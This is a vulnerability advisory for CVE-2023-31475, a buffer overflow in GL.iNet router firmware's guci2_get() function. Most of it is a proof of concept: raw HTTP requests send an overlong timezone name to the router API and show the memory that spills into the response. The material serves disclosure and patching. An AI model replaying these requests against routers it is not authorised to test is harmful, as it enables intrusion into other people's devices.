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CVE-2023-31475: CVE-issues/Buffer_Overflow.md at main · gl-inet/CVE-issues

An issue was discovered on GL.iNet devices before 3.216. The function guci2_get() found in libglutil.so has a buffer overflow when an item is requested from a UCI context, and the value is pasted into a char pointer to a buffer without checking the size of the buffer.

CVE
#js#buffer_overflow#auth
======= REQUEST 1 =======
POST /api/router/timezone/set HTTP/1.1
Host: 192.168.8.1
Authorization: 80dafe40822e4a59b6daabd659617963
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 149

zonename=Asia/D[aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa]

======= RESPONSE 1 =======
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 10
Connection: close
Date: Wed, 04 Jan 2023 00:29:13 GMT
Server: lighttpd/1.4.48

{"code":0}

======= REQUEST 2 =======
GET /api/router/timezone/get HTTP/1.1
Host: 192.168.8.1
Authorization: 80dafe40822e4a59b6daabd659617963
Connection: close


======= RESPONSE 2 =======
HTTP/1.1 200 OK
Content-Type: application/json
Expires: Wed, 04 Jan 2023 00:29:29 GMT
Cache-Control: max-age=1
Content-Length: 26750
Connection: close
Date: Wed, 04 Jan 2023 00:29:28 GMT
Server: lighttpd/1.4.48

{
    "zonename":"Asia\/D[aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaEET-2EEST,M3.5.5\/0,M10.5.5\/0", // the extra value `EET-2EEST,M3.5.5/0,M10.5.5/0` is added to the end of zonename since the timezone value is copied to the middle of zonename, and no null byte is found until after the timezone value
    "timezone":"EET-2EEST,M3.5.5\/0,M10.5.5\/0",
    "autotimezone":true,
    "systemtime":"Wed Jan  4 02:29:28 EET 2023",
    "timezone_list":[{"zonename":"Africa\/Abidjan","timezone":"GMT0"},...],
    "code":0
}

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